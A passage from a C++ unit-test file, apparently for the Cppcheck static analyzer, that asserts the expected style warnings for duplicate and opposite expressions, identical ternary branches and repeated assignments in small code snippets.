ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n 